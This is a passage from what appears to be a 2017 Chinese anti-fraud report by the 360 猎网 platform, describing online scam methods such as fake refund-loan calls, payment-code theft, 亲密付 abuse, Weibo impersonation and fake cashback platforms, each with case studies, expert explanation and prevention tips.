骗子们在窃取信息的时候，不需要使用钓鱼网站和木马软件，只要骗取受害者信任后，让其下载云盘、同步软件等产品，登录上骗子指定的账户进行文件上传，同步，就可以轻松得到信息。这一盗取信息的方式，尤其是对不常用网络产品的用户具有效力。下载使用的都是正规的网络产品或服务，但信息却被白白提供给了骗子。如果随时同步了短信验证码，还可以轻松的盗取银行卡内的钱财。
图27
### 钓鱼网站频更替，传播手段总升级
为了逃避安全厂商对于钓鱼网站的封杀，钓鱼网站不仅要快速的更换网址，且需要变换传播的手法，如利用短网址、云盘服务、浏览器、社交工具等互联网产品的分享功能来传播链接，并最终通过网址跳转，将受害者引诱到钓鱼网站上进行诈骗。利用分享功能尤其是手机端进行分享，受害者很难看到网址信息，更加具有隐蔽性。
### 小众业务教你办、关联账户你买单
2013年360发现的一种高危欺诈，授权支付欺诈，利用超级网银绑定受害者账户，进行转账交易。随着互联网业务的发展，类似这种利用一个账号控制别人账号的诈骗，已经发生了衍变，2017年出现了利用支付宝亲密付功能，同样进行此类诈骗。这种业务的一个特点是属于金融服务商为了便民而设计的特色业务，也属于小众的业务，很多受害者不了解该业务的情况下，听信了骗子的话语，进行绑定，使得钱财直接遭到盗刷。
### 虚假购物花样翻，返现半价来圈钱
虚假购物网站如何推广，当然是打着创新、新零售的虚头更有效。骗子开发了购物全额返现平台，双人半价夺宝购物平台等等，就是让你有优惠太多甚至还赚钱的感觉，引诱你下单来诈骗。
### 身份冒充似李鬼，高仿实难辨真伪
此前假冒好友诈骗都是以QQ、微信等社交软件盗号诈骗为主。而微博高仿号诈骗由于少见,大家警惕性不高。此外,由于犯罪分子专门研究目标受害者社交习惯等信息,实施精准诈骗,高仿的微博账号也很难辨别,用户很容易上当。
骗子首先潜伏到受害者微博中观察人员关系及聊天内容,然后通过更改头像、昵称创建高仿号,假冒受害者微博好友，且通常冒充的用户都是在国外，并以目前只能微博联系为借口，防止受害者通过其他渠道进行身份核对。然后寻求帮助购买机票、办理货物托运等借口让其联系国内的所谓代理商，一旦受害者相信骗子，骗子就会利用国际转账业务延时的借口让帮忙付款，从而进行诈骗。通常这类诈骗受害者被骗去几千元到几万元不等。
### 多种手段组套路，悄无声息取财富
2017年3月，360协助深圳警方成功打掉了这个“午夜幽灵”电信诈骗团伙，警方认定这是一起依托于个人信息非法交易产业链，结合了手机云服务、运营商副号业务及互联网金融服务的高科技、高智商、跨平台、遥控式的新型电信网络诈骗犯罪。且这类盗刷主要利用了各个平台服务商的不同业务，单个业务没有盗刷的安全风险，但组合起来，形成盗刷，且为了让受害者难以察觉，犯罪分子专挑深夜作案，整个过程不需要与受害者有任何接触，受害者也无需回复任何短信，防范十分困难。
## 网络诈骗典型案例（略）
### 购物退款诈骗（2017版）
#### **案例回放1** **：**
2017年2月初，山东省济宁市的张女士接到骗子冒充淘宝卖家的电话，说受害人购买的物品丢失，需要给受害人办理退款，退款金额是用户购买物品价格的数倍，由第三方理赔公司支付。
骗子以降低店铺损失为由，让受害人将理赔公司退款多余的钱退还给他，因受害人是这家店铺的老顾客，出于对“店家”的信任，受害人答应“店家”的请求，帮忙操作，以降低其损失。
因当时退款金额并未到受害人账上，受害人个人账户上的钱不够，骗子要求受害人向招联好期贷和蚂蚁借呗借款1200和44000元。在此期间骗子一直给受害人打电话、发短信，催促受害人转账。当招联好期贷到账后，骗子发送二维码要求受害人转账给他1176元。
因蚂蚁借呗数额较大，到账较慢，受害人发现受骗后，没有再次损失。
#### **案例回放2** **：**
而另一位受害人赵先生，也是接到一个声称是淘宝客服的电话，该“客服”告诉受害人购买的衣服（核对店铺名称、衣服信息正确），因为指标严重超出，淘宝介入调查，需要退款给用户。
询问受害人是否收到此退款，赵先生表示没有后，“客服”说可能是因为赵先生的芝麻信用不够，不能自动退款，该店铺会转给赵先生17000元保证金，以提高芝麻信用额度，等额度提升后，需要赵先生将保证金退还给店铺。
赵先生按照“客服”要求，在支付宝首页输入“招”字，搜索的第一个结果点进去操作后，赵先生的账户上多了17000元，之后，赵先生扫描了“客服”发送的二维码，将17000元转账给了“客服”。
之后，赵先生发现，自己并没有将17000元转账给“客服”，而是转到了点券充值平台，其账户上的17000元，也不是店铺给转的保证金，而是赵先生在“支付宝”平台的贷款（赵先生在按对方操作时，对方完全没有提到贷款二字）。
#### **专家解读**
之前冒充电商客服的退款诈骗，是骗子在得到用户的个人信息和购买记录后，以购买物品丢失，损害为由，打电话诱骗用户在自己所发送的链接中输入账户、密码、付款密码，以此来骗取受害人的金钱。
而新出现的骗局，则是骗子货品有质量问题等各种理由，承诺给受害人退款、赔偿，再以转账不通过等理由，要求受害人按照其要求操作，在受害人不知情的情况下，在支付宝等金融机构贷款，再将贷款金额转账给他的方式进行诈骗。
自从2016年下半年开始，退款诈骗利用互联网贷款业务进行行骗已经变为诈骗的新方式，这类骗局最大的特点就是利用受害者不了解最新的互联网贷款业务（只要经过平台设置的身份验证，即可在几分钟内将小额款项打入借款人指定的账号）而透支未来的钱财诈骗。该类诈骗手法，最大的危害就是实现了没钱也能骗，并且给受害者造成沉重的经济负担和精神打击。因为后续可能还要面临每月偿还金融机构贷款，有的受害者甚至被贷款十万、二十万元，如果不能够按时偿还，还将会影响个人征信，而金融机构也会面临坏账等风险。因此这类诈骗手法骗取钱财更多，影响范围更大，危害时间更长。
#### **防骗提示**
* 所有来电：“您好，您是x女士/先生么？您在我们的网店购买了xx”，这种多是骗子话术，如有疑问，可以挂断电话后，联系购物网站上的官方电话核实；
* 正规的电商网站都没有所谓的异常处理流程或退款流程，还有类似卡单、掉单等词语也都是诈骗专用术语。退款仅需在订单界面点击退款来办理；
* 切记“我没钱，不怕骗”的心理，谨防骗子利用个人信用进行贷款、预支等行为；
* 填写验证码，要看清验证码办理的业务内容，遇到办理不明业务的验证码，千万不要着急填写，可先了解该业务后再填写。
* 遇到账号资金变化时，请详细看清资金往来情况，不要盲目相信多打款，提高信誉额度充值等话术。
### 骗取付款码刷单兼职诈骗
#### 案例回顾
3月10日，在校大学生小曾在QQ群中看到有人发布兼职消息，只要支付宝有剩余的流动资金就可以进行兼职，刷单立返。
小曾心动后主动添加了对方QQ，与客服沟通过工作内容后，客服要求用户将支付宝付款条形码下面的数字发送给他，完成任务后将提供佣金；于是小曾按照要求将支付宝中付款码的数字28094261411505371发送给了对方，对方要求在发送一遍，因为之前的是失效的，用户再一次生成后的付款码282779473246788892发送了给了对方，后续发现支付宝产生了2笔99.99元的扣款，账单收款方是一家经营炒面的普通商户。
小曾询问对方为什么交易了两笔，客服回答称卡单了，继续向小曾索取付款码。此时，小曾觉得不对劲，可能遭到了诈骗，并质问对方，要求退还本金，但客服称钱卡在平台中，不能进行支付宝转账给用户返款，并承诺第二天处理好之后给用户，并且还继续要求再次提供数字码，但后续小曾没有提供，客服没有给提供答复。
#### 专家解读
随着手机支付扫码越来越普及，手机已经成为了很多用户的“钱包”；扫码付款既简单又方便，我们在与商家的交易中只需要扫描付款的二维码即可完成交易；正因为交易场景简单，很多不法分子也盯上了二维码交易，甚至形成了一整条产业链：
* 冒充兼职客服、淘宝消费者等方式来联系目标用户，伺机套取付款码；
* 通过话术场景来套取付款码，如兼职人员告知用户需要购买商品，只需提供付款码的数字码即可完成；
* 付款码收集者处于整个诈骗环节的第一环，将获得的付款码提供给可兑现的扫码商；
* 付款码支付时针对商家扫描用户二维码（或条形码）来交易时使用，扫码商通过建立商家与用户的面对面支付场景，来完成面对面付款的交易过程；
* 第三方支付对付款码交易有免密交易上限，一般在1000元或100元以下，因此很多交易都是999元或者99元，用户只有在发生交易后才能知道账户已经扣费；
* 在完成扫码交易后，扫码商与付款码提供者往往通过虚拟商品交易平台（游戏点券）进行分成。
#### 防骗提示
* 付款码不管是数字还是付款的二维码，都是用于支付场景，提供给对方就会在自己账户中付款，切记一定要确认收款商家后才可以提供；
* 付款码是用于在面对面商家付款时使用的，一旦有人在聊天或者电话中索要，大多数是有问题，请立刻停止联系；
* 面临好友的转账打款需求，可通过语音辨别、电话确认，避免遭遇冒牌好友损失财产。
### 利用亲密付的退改签机票诈骗
机票退改签诈骗，在去年被多次报道，均是受害者收到短信后，按照要求到ATM机办理，从而上当受骗。但随着ATM转账的新规定，24小时候到账，骗子采用了第三方支付的方式让受害者转账。
2017年5月，狄先生收到了一条短信“尊敬的XXX旅客：您好！您所乘坐的东方航空2017-05-18深圳飞往南昌的U5262次航班因机械故障已被取消，请速电东航客服008617319448682办理退改签业务，您将获得300元的延误补偿。给您带来的不便，敬请谅解！东方航空”由于看到短信上显示的姓名、航班号完全一致，狄先生信以为真，拨通了短信中的客服电话。
虚假的客服告知让程先生使用支付宝办理退款业务，先是给了一个企业账号，但狄先生使用收款功能领取补偿金后，不能进行收款。于是虚假客服让狄先生开通亲密付功能。于是按照虚假客服的要求，添加了骗子的支付宝账号，开通亲密付功能，但没有想到，刚开通后，狄先生就发现支付宝产生了100.10元和500.50元两扣款。此时，狄先生发现被骗，立刻进行报警。
#### 专家解读
机票退改签诈骗是典型的利用个人信息，进行精准诈骗的案例，以前都是通过ATM机进行转账操作，由于ATM机到账有24小时的限制，骗子把转账过程换到了第三方支付平台。并且使用了用户不常使用的亲密付功能。
实际上支付宝的亲密付功能是类似于银行的附属卡功能，有人为亲人、密友开通此功能后，对方在网购消费时，直接从开通者账户中支付，而且不需要开通者确认。目前，“亲密付”的设置额度为100元—20000元。
由于狄先生不太了解这个业务，与骗子开通了亲密付后，骗子盗刷狄先生的金额也就十分容易了。
#### **防骗提示**
* 收到类似“航班取消、航班变动、机票退签改签”等内容的短信时，应通过航空公司客服电话、机场客服电话等多方渠道核实，不要盲目轻信来路不明的信息，更不要拨打短信中提供的陌生号码按照对方的要求转账。
* 对于自己陌生的业务，不要轻易开通，尤其是涉及到支付相关业务，一定要了解后再开通
### “分享”钓鱼网站诈骗
#### **案例回顾**
2017年6月7日，大学生小刘在电脑端浏览闲鱼网站官网，并看中了一款二手iPhone手机，但商品特别注明了买家要通过QQ与卖家进行联系。由于价格合适，看着也是比较新的iPhone手机，小刘添加对方QQ，经历了一番讨价还价，最终决定以999元的价格购买该手机。
商谈好价格后，骗子用手机浏览器的分享功能分享了付款网址，由于手机分享的链接无法直接查看域名，好不容易讲好价的小刘还以为自己捡了个大便宜，根本没察觉到异常，毫无警惕地点开了对方发来的链接并付了款。之后，当发现卖家将自己拉黑，且刚刚的付款页面再也打不开时，小刘才意识到受了骗。
#### **专家解读**
一般来说，骗子会直接复制钓鱼网址发给用户，而用户根据域名有可能会看出来网站是假的，而这起案例中，骗子没有直接发来钓鱼网址，而是先在自己的手机端浏览器打开钓鱼网址，再利用浏览器的分享功能，把网页分享给用户，这样，用户没法直接看到钓鱼网址而是看到骗子的分享消息，然后点击分享链接，直接付款，导致被骗。
#### **防骗提示**
* 在电商网站购物时，使用电商平台官方通信工具沟通，其既可以记录整个交易过程，方便发生纠纷、欺诈时进行投诉，也能拦截非官方虚假钓鱼链接。
* 支付时，仔细看清支付平台网址、付款对象，谨防支付时在钓鱼网站支付。
* 购买二手商品时，明显低于市场价格的商品，要谨慎购买，防止上当。
### 返现购物平台诈骗
#### **案例回顾**
2017年5月底，龚女士听朋友说在螃蟹云购购物，最后平台都会如数返还，相当于不花一分钱就能得到商品。于是龚女士于2017年6月2日在手机上下载了一个螃蟹云购app，
下载注册完毕选择自己要买的净水器，价格为：9968元，然后点立即购买输入收货信息和联系方式，点击提交订单选择支付方式，付款成功。
根据螃蟹云购平台的承诺付款后3天起64天会100%全额返到我的螃蟹币账户，8月9日龚女士进入螃蟹云购手机APP确实有看到9968个螃蟹币，申请提现后但款一直没有到账。
这时龚女士再次想打开螃蟹云购APP显示已经封锁，进不去查不到订单。这个时候龚女士感觉到自己上当受骗了。
#### 专家解读
此类购物商城属于一种新型的购物返现骗局，受害者很难对其进行分辨。一般这类平台商品价格高于市场价，承诺消费后冻结资金一段时期就可以拥该商品，并且消费金额全部返还。按照这种模式经营，平台很难盈利，其本质更类似于融资平台，消费者把钱投入平台，过一段时期后进行返还，并且能够得到商品，类似于利息。可能前期购买的消费者可以得到本金及商品，但是随着人数越来越多，一旦平台资金有缺口，就会造成无法兑现承诺，甚至关闭网站而跑路，此时消费者的钱也就永远无法兑现。
#### 防骗提示
* 购物返现属于商家的一种促销、营销手段，但高额的返现或者完全免费得到商品的宣传很大程度上是诈骗活动。特别是比高于市场价几倍购买商品才能返现的平台更要小心；
* 购物尽量选择大型平台选购，不要贪小便宜，以防进入钓鱼网站而钱财两空。
### 双人半价购物诈骗
#### 案例回顾
用户王先生在微信群聊中看到了群友分享了一个微信公众号：双人半价夺宝，称在此平台可赚钱。用户查看后发现此公众号有微信企业认证，自己正好有这个需求，便相信此平台为正规可投资。
平台商城分为20元、50元、100元的商品，有话费充值卡、点券充值卡等不同种类，并且标注的商品价格都是市场价的一半。用户首先需要购买单双数，活动开始后将开奖，如果中奖，可半价购买其商品，如果没有中奖，则支付的款项将无法退回。
用户前期投入了较少的金额，确实有得到回报，在平台的会员群中有越来越多的群友分享自己在此平台的赚钱经验，于是用户想加大投资力度，在运气好的前提下。如果中的多兑换回来也是一笔不小的收入，于是用户前后充值了14000多元购买100元充值卡。
后续用户进行了批量兑换，但只有少量的订单中了，于是用户想要收手，将中了的资金兑换回来，但尝试多次，一直提示兑换失败，联系客服后，客服称兑换金额今日已达到限额，让用户过了12点后重新尝试，后续用户试过之后，还是提示失败，再联系客服时，对方已经删除了好友，这时用户察觉被骗。
#### **专家解读**
此用户问题已不同于以往的网络购物，而是升级为一种变相赌博，以购物的形式取代典型赌博的资金投入，投入与回报金额之间相差大。属于一种新型购物诈骗，且受骗用户损失金额巨大这种诈骗手段主要有：
1)
将首批用户顺利发展成为会员，引导其在自己的微信群、QQ群等社交平台进行推广传播，以平台经营正规安全吸引潜在用户，公众号平台也会有企业资质认证，让用户信以为真。
2)
后续以利用高回报，赌运气来吸引用户进行投资，将潜在用户与平台会员添加在一个社交群内，当平台会员分享自己的投资经历时，无形中对潜在用户进行了引导，极大可能发展成为下线。
3)
前期让成功投资的会员尝到甜头，让其坚信此平台正规安全，可长期发展，成为闲时投资赚钱的好去处。当会员们加大投资力度后，想要提现金额时，则会以各种借口理由推脱拒绝，不予处理，从而导致用户损失。
#### **防骗提示**
* 不论是一元夺宝或者双人抢购，此类行为目前均已认定为不正规的交易行为，因此请不要再相信任何平台发起的这类抢购活动；
* 对于没有一定资质的公众号，即使是认证的，也要看清相关经营范围，很多都是企业经营范围与实际网站内容不相符的，一定要当心；
* 切不可贪小便宜吃大亏，超过正常市场价格的优惠，背后往往都是不怀好意的商家，一定不要被低价格诱惑；
### 微博高仿号假冒好友诈骗
2017年7月初，小林收到微博“好友”私信,称自己在国外机场转机,还发给小林微博定位,找他帮忙办货物托运手续。小林发现对方的介绍、头像与朋友一样,但发送的私信却是“未关注人消息”,就有点怀疑,追问其是否使用的小号。对方肯定并发了张异地限制登陆的截图让小林相信他就是自己的好友。
接着,对方以国外手机信号不好为由,让小林帮助联系货运代理的张经理了解物托运办理情况。张经理却先让小林缴纳托运费,并称由于汇率不稳必须从国内转账。小林微博告知了好友,两人商量后决定让小林先垫付托运费,小林就给货运代理公司的银行账户转去6920元。
没想到“朋友”又说还有两只宠物狗要托运,小林讯问后得知狗只能加仓,还要支付4800元加仓费,小林这才如梦初醒,意识到自己上当了,赶紧报警。
#### **专家解读**
此前假冒好友诈骗都是以QQ、微信等社交软件盗号诈骗为主。而微博高仿号诈骗由于少见,大家警惕性不高。此外,由于犯罪分子专门研究目标受害者社交习惯等信息,实施精准诈骗,高仿的微博账号也很难辨别,用户很容易上当。
骗子首先潜伏到受害者微博中观察人员关系及聊天内容,然后通过更改头像、昵称创建高仿号,假冒受害者微博好友，且通常冒充的用户都是在国外，并以目前只能微博联系为借口，防止受害者通过其他渠道进行身份核对。然后寻求帮助购买机票、办理货物托运等借口让其联系国内的所谓代理商，一旦受害者相信骗子，骗子就会利用国际转账业务延时的借口让帮忙付款，从而进行诈骗。通常这类诈骗受害者被骗去几千元到几万元不等。
#### **防骗提示**
* 目前网络应用发达，不存在只能上一种社交工具，而其他都用不了的情况，遇到转账需求，请通过其他渠道进行核实。尽量采取实时通话的形式了解好友身份；
* 国际转账延时到账、国外不能直接办理国内业务均是骗子的借口，不要相信；
* 如果发现自己已经上当，请及时停止后续的交易，以免损失更多的钱财。
### 挂机软件诈骗
#### **案例回顾1**
2017年7月份，廖先生经过朋友介绍加入了一个挖矿平台。进入群后不久，该平台管理员就加了廖先生的微信，然后给廖先生进行所谓的比特币科普以及挖矿软件的介绍。平台宣称这个软件主要是针对家庭电脑设计的一个挂机软件，工作很简单，不用任何操作，电脑就在那挂着，然后就等着当天晚上拿工资就可以了。
接着，客服要求进群的人每人缴纳800元的会员费才会给软件。廖先生没多犹豫就付了款。
几天后，廖先生发现自己根本赚不到什么钱。如果要赚钱，必须每天拉人进来，拉人进来给25元。为了把自己的押金赚回来，廖先生不得不继续拉人。觉得差不多了，廖先生想提现，对方却以各种借口拒绝给廖先生提现，没过几天，平台管理人员便不再搭理廖先生了，廖先生发现被骗。
#### **案例回顾2**
马先生在家中上网，无意中看到下面的网站，此网站声称能赚钱，只需挂机并且点广告即可。一小时收益10元左右，24小时后可以提现。
于是马先生花200元购买了普通版，安装提示要绑定百度联盟账号，而百度联盟账号是普通人很难注册的账号。于是网站假客服诱惑马先生花费200元购买VIP版，这样就可以不用注册百度联盟了。而买完VIP版，马先生还需要再交150元绑定账号，这样普通版和VIP版都可以同时挂机。就这样，马先生一步一步陷入了骗子的圈套。
24小时后，当马先生想提现时，却怎么也无法提现。于是问假客服怎么还不能提现，对方一直不回复。直到第二天上午，假客服直接把马先生的QQ拉黑了！这时，马先生才知道自己上当受骗了。
#### 专家解读
从案例1中分析，想要挖矿的人应该知道，当前，普通电脑挖矿已经不可能了，挖矿需要挖矿机才行。挖矿机就是用户开采比特币的电脑，这类电脑有专业的挖矿芯片，多采用烧显卡的方式工作，耗电量较大。
其次，按照一般人的想法，如果一开始就缴纳那么多的押金，很多人会选择拒绝的。但是偏偏有些人，受到炒比特币新闻的影响，觉得如果给对方挂机，对方是肯定能赚钱的，所以自己也能跟着赚钱，而且经过朋友的洗脑，这部分人选择了支付这笔押金。
从付完款后廖先生的工作内容来看，我们不难发现，这样的骗局其实是借着“挖矿”的外壳而进行传销的一种方式。每人进入这个平台都要交会员费，同时被拉进来的人必须要继续发展下家，让下家缴纳会员费后，他才能够赚到钱，这样靠拉进下家赚钱，就是典型的传销。
而现在比较典型的挂机软件诈骗如下文所述，骗子会在网站页面上写满诱人的宣传，比如月赚6000不是梦啦，完全免费啦，轻松日赚80-200等等。
点击下载后，会看到文件夹中包含软件、操作教程和其他用户的提现截图（里面的提现截图一般是假的）等文件。
点击右上的按钮“开始挂机”，随着软件的运行，可提现金额越来越多，看着越来越多的钱，谁心里都会美滋滋的。每挂一小时，可以得到大约6-10块钱，也就是挂一天可以得到150-240元左右。这个收益其实对于一般人来说，还是蛮有诱惑力的，因为，只要挂着就行了，并不需要任何操作。
可是当你想要提现的时候，是需要绑定支付账号的，而要想绑定成功，必须向一个支付账号先交20元钱，由于这个钱不多，所以很多人都会选择支付。
绑定完账号，当你第一次想提现的时候，是可以成功的。但是，当你想不限次数的提现时，假客服会说你必须成为高级会员才可以（现在只是普通会员），而要开通这个功能，则需要另外支付198元，即使你成为高级会员，骗子也有很多理由，让你不断付钱给他们，而你却始终无法提现，直到假客服把你拉黑，才算结束。
#### **防骗提示**
* 找兼职要上正规的招聘网站，不要轻信QQ群、博客、论坛上看到的招聘信息以及朋友的邀请，任何要求缴纳会员费的兼职，我们都要提高警惕；
* 但凡宣传每日赚钱很多并且不需技术含量的，并且在家足不出户就能轻松赚钱的，都是诈骗。
### 清理微信僵尸粉诈骗
#### 案例回放
近期，微信上经常会收到“免费帮你清理微信僵尸粉”的信息，或是“我在清理微信好友，一清吓一跳”的朋友圈吐槽。很多人点开了信息中的附带链接，按照对方说的步骤清理僵尸粉，结果可能会出现微信号被盗、好友信息被窃取，甚至手机会中木马病毒等严重后果。
首先，点击链接，关注公众号以后，你会收到自动推送消息，引导你联系客服进行清理。
添加人工客服后，对方会对清理步骤做简单介绍或发送教程视频，查看步骤后，需要回复确认是否清理。
待确认清理后，客服会发送一个临时二维码。此二维码不能直接识别，需要将它发送至其他手机或用其他手机拍照，再进行识别。
识别二维码，你的手机就会收到以下界面，经常使用电脑登陆微信的人们都知道，这是电脑登陆手机微信的确认界面也就是，确认登陆后，对方的电脑可以直接登陆你的微信！对方用你的微信开始群发消息，筛选僵尸好友。
#### **专家解读**
用这种方式清理好友，存在很多弊端！
* 用这种方法清理好友，会陷入尴尬扰人的循环之中。今天你用这种方式给朋友发送信息，就形成了对朋友的无端骚扰。而如果朋友也点击链接，也用这样的方式进行，那么不久你又会收到信息被骚扰…..就这样，会时不时看到这样的消息。
* 你的手机可能会中木马病毒。微信好友发送的“清理僵尸粉”信息中的链接，很有可能是手机病毒。
* 微信号可能会被盗。如果你点击了消息中的链接，微信可能会出现闪退、无法正常登陆的问题。
* 如果你的微信有银行卡绑定，在点击链接时，经专业黑客破解了支付密码后，钱财也将遭受损失。
* 如果骗子借清理僵尸粉为由，在电脑上登陆你的微信，就可以直接用你的微信号，以生病、出车祸、急用钱等各种理由向你的朋友群发信息进行诈骗
* 对方可以通过你的微信群发色情信息，这样不但对自己造成不良影响，还会使你涉嫌传播色情信息，一经举报核实，微信号还会被封。
* 如果骗子群发了带有病毒的链接，会将你的好友置于上述风险之中，形成“循环骗局”。
#### **防骗提示**
* 保护好个人的社交账号，尤其保护好账号密码及不要让他人登录你的账号。
* 遇到社交软件发来的链接，不要轻易点击。如果是下载安装软件，可通过大型的应用商店下载安装，不要直接点击安装链接里面的应用。防止安装上山寨程序、恶意程序。
* 不要相信所谓的网络黑客找到应用漏洞、或者开发的外挂软件。
* 在社交软件中收到朋友发了的转账、代付等涉及到财产信息时，最好通过其他渠道联系朋友进行确认核实，谨防盗号诈骗。
### 兼职诈骗-微信朋友圈广告
近日，朋友圈开始流行入会发广告轻松兼职的项目。
只要预缴200元会费，每天在自己的微信朋友圈里转发推荐信息，每天就能够拿到20元的返还工资，按照这样一个说法，这种投资，只要10天，就能轻松回本。
除了入会金额和公众号可能不同，但手段都是一样的！看完是不是心里“咯噔”一下，如果家里的老人或孩子遇到了这样的骗子，真说不定就会上当受骗！
#### **专家解读**
虚假兼职类诈骗是猎网平台举报类型最多的诈骗，其主要利用高薪、低门槛、简单轻松赚钱为借口，吸引受害者参加。
最近流行在朋友圈分享广告的案例，就是一种很典型的诈骗方式，看上去不用浪费太多时间，只要把相关的广告转发到朋友圈，就可以轻松赚上几十元，其实幕后就是拉你进入所谓的兼职群，缴纳会员费。通常这类诈骗不仅先要收取小额会费，后期还会索要押金、保证金、vip会员费等，如果相信了骗子所说的话，被骗金额可达上千元。受害者一旦发现了上当受骗，骗子就马上拉黑，消失的无影无踪。
#### **防骗提示**
* 所有那些宣称技术门槛低，工作轻松但又赚钱很快的工作，都是诈骗。
* 不要相信所谓的会员费、审核费等费用，兼职工作中如果需要缴纳此类费用，绝大多数是诈骗。
* 如果发现自己已经上当，请及时停止后续的交易，以免损失更多的钱财。
### 美女微商的跨国恋诈骗
#### **案例回放**
2017年6月，国外生活的蔡先生微信上突然来了个新朋友，其备注是福建南平的微商，看对方的头像是位“美女”，蔡先生就通过了好友申请，开始和她聊天。
对方称自己为了减轻父母经济负担，通过微商卖茶叶赚钱，但最近有批货被滞压，20号内不出手就会赔钱，希望好心人买点茶叶帮帮她。被“小妹”的“孝心”感动，蔡先生出于同情的买了两斤茶叶，给她转了980美元，“小妹”还感动的说会附赠一斤茶叶。
此后，“小妹”和蔡先生经常聊天，两人关系越来越暧昧，让蔡先生一度认为他们有真感情。一次，“小妹”称要去美国看蔡先生，但机票太贵，希望他可以出钱订机票。蔡先生迟疑了，但之后与“小妹”聊天，蔡先生又忍不住给她微信转了一笔3150元和一笔5200元人民币的买机票钱。结果，收到转账的“小妹”却立刻将蔡先生拉黑，这时蔡先生终于意识到被骗，赶紧报警。
#### 专家解读
其实，类似假冒美女通过社交平台实施诈骗的事件早已屡见不鲜。从假冒美女找男朋友到利用“美女身份”引诱网友付款裸聊再到冒充漂亮妹子吸引推荐网友买期货、股票……骗子们采取的手段不断推陈出新，但其套路基本不变，都是用美女头像，用女性口吻跟用户聊天，慢慢与用户发生暧昧关系，利用用户男性心理和同情心，以各种借口让用户不断转账。许多网友缺乏网络安全意识，难以抵抗所谓的“美女”诱惑，往往容易跳入骗子的陷阱，人财两空。
#### 防骗提示
* 无论在什么社交平台上，都要谨慎添加陌生好友；
* 不要被陌生好友表象所欺骗，头像、说话语气都是可以假扮出来的；
* 如果对方提到转账汇款，无论以什么样的理由，都要坚决不听不信不转账。
### 朋友圈 “免费”的连环陷阱
#### **案例回放**
2017年8月底，绣绣在朋友圈看到一条消息称“免费送一米六抱抱熊和银手镯”，瞬间被吸引，于是点进去查看，对方让先加微信再领取赠品。于是绣绣加了对方的微信，对方让她发来收货地址和电话，说手镯是免费送，但是抱抱熊需要付邮费，还让她选择手镯的款式和抱抱熊的颜色并截图发过去。最后绣绣出于对邮费的怀疑，只选了免费的手镯。
三天后，绣绣收到了手镯，但是快递说需要付邮费29元，她心想既然都送来了，邮费也不多，就给了吧。结果打开快递后，发现快递盒子里除了手镯还有一张刮刮卡，她刮开刮刮卡后，惊喜地发现自己中了二等奖，奖品是一部手机。
被“中奖”冲昏头脑的绣绣赶紧联系对方问怎么领取手机，对方说手机是免费的，但是手机要从香港总公司发货，需要支付69元保价费。她想，只要69元就能拿到手机了，这样的好事绝不能错过，可是给对方付款后，对方又说如果是空运需要再支付100多元，并承诺连着之前的抱抱熊一起发过来。这时，绣绣虽然对这些款项有所怀疑，但禁不住诱惑又给对方转了100多元。结果绣绣前后总共被骗300多元，只收到了一副假手镯。
#### **专家解读**
此骗局环环相扣，先是骗子在朋友圈发布免费赠品，吸引用户加微信，在聊天过程中避重就轻，用免费赠骗取用户收货地址，待用户收到快递得知要收快递费并且跟赠品价格比不多时，很多人会选择给快递费。
在接下来的诈骗中，骗子首先让受害者收到物品中藏有刮刮卡，假装让其中奖，由于受害者收到了第一次快递，对骗子增加了信任，且由于中奖，容易被喜悦的心情冲昏头脑，更加相信自己中了手机。此事骗子再利用收手机需要空运费，保价费等借口进行二次诈骗。
总之，骗子都是利用人们贪图小便宜的心理，一步一步引诱用户掉入陷阱。
#### **防骗提示**
* 免费赠的东西要谨慎，不要贪图小便宜；即使是正规商家赠送礼物，都是带有一定营销目的的，不会白白赠送。一定要了解活动的目的和自己将要付出的成本；
* 警惕要交各种费用的活动，不要相信天上掉馅饼的事；
* 即使是完全免费的活动，也要小心泄露了自己的个人信息，特别是需要填写个人隐私及财产相关账户信息的活动，都要小心谨慎参加；
* 不向任何人透露自己的密码或者短信验证码信息，如果需要在网站上进行填写，要认证是否是正规网站，谨防钓鱼网站获取信息，从而进行盗刷。
### 微信红包诈骗
#### **案例回顾**
2017年8月，在微信朋友圈流传起来一个 “战狼2票房剑指60亿，庆功午宴，撒钱啦，我刚刷到了XX块”的信息。
点进去一看，要先手动上滑抽红包，每次三十秒，共三次红包抽取机会，很简单的就可以得到几十元的现金红包。
抽到红包后，想要领取，要先分享到3个群，再分享到朋友圈。
当你以为可以拿到红包的时候，又会弹出一条消息说分享失败，请重新分享到朋友圈。再次分享后，就会发现其实最后一次分享的是一条广告。做了这么多工作，如果真的能领到几十元红包倒也不错，可是网页最终提示：红包会在48小时内存入您的钱包，请保留朋友圈24小时。通过一系列的努力，你只是帮助别人发了一次广告，而所谓的红包也不会真的到你的账号中。
#### **专家解读**
其实这根本不是真的发红包，而是假冒“战狼2”剧组的名义发红包，让广大网友帮他打广告！甚至在点击抽取iPhone
时，又会弹出另一个链接让你填写个人信息领奖，从而造成信息泄露或者再次进行中奖诈骗。其实这种诈骗是有固定模板的，比如10G全国通用流量任性送，任何点击都会收到领取500M甚至1G流量的提示，然后依然是分享到朋友圈才能得到，而之后又是熟悉的抽奖提示。这类诈骗基本上每次换一个热门话题，再PS上新的相关图片就制作完毕，然后就投到朋友圈中进行传播。
#### **防骗提示**
* 在微信抢现金类红包，应该是用户获取微信红包后自动存入微信零钱，再由零钱进入银行卡，绝对不存在需要用户填写姓名、电话、身份证号等要求，如有以上要求一定是假红包；
* 如果是优惠券类的红包，要仔细查看商家的真实性，正规企业通常会要求你输入手机号或账户名进行领取，不会让你填写密码、银行卡等账号信息。如果遇到一定是虚假的钓鱼网站；
* 红包的本质是商家的优惠活动，不可能存在大金额的，并且特别容易就得到。如果遇到基本可以判定为诈骗。
## 附录1 猎网平台/联盟相关工作
### **猎网平台与公安机关紧密合作**
截至2017年底，猎网平台已与全国300个地区的公安机关建立联系。全年协助各地区公安机关协查案件219起，破案23起，抓获嫌疑人共计137人。
2017年猎网联合全国12个城市公安开展反诈骗活动，累计24个城市50余所高校，涵盖14个省，直辖市，自治区。
截止2017年12月31日“猎网追踪”功能总查询次数达到200万次，“猎网追踪”功能，全面开放360安全大数据，向各地公安机关和网民全面开放检索功能，如遇到可疑信息，可随时在电脑端和移动端的“猎网追踪”功能查询诈骗信息黑数据。
### **猎网联盟成员协同处理网络诈骗信息**
截止到2017年12月31日，共4家网安和138家互联网企业成员正式加入。
2017年，猎网平台接到的与联盟成员相关的不良信息举报数量总计为1453件，涉及联盟成员网站数量为16个（已经去重后），通报联盟成员不良信息数量1453件，联盟成员已处理不良信息数量1306件，联盟成员暂未处理不良信息数量为147件。
**月份** | **接到举报数量** | **涉及联盟成员数量** | **通报举报信息数量** | **已处理举报信息数量** |
**暂未处理举报信息数量**
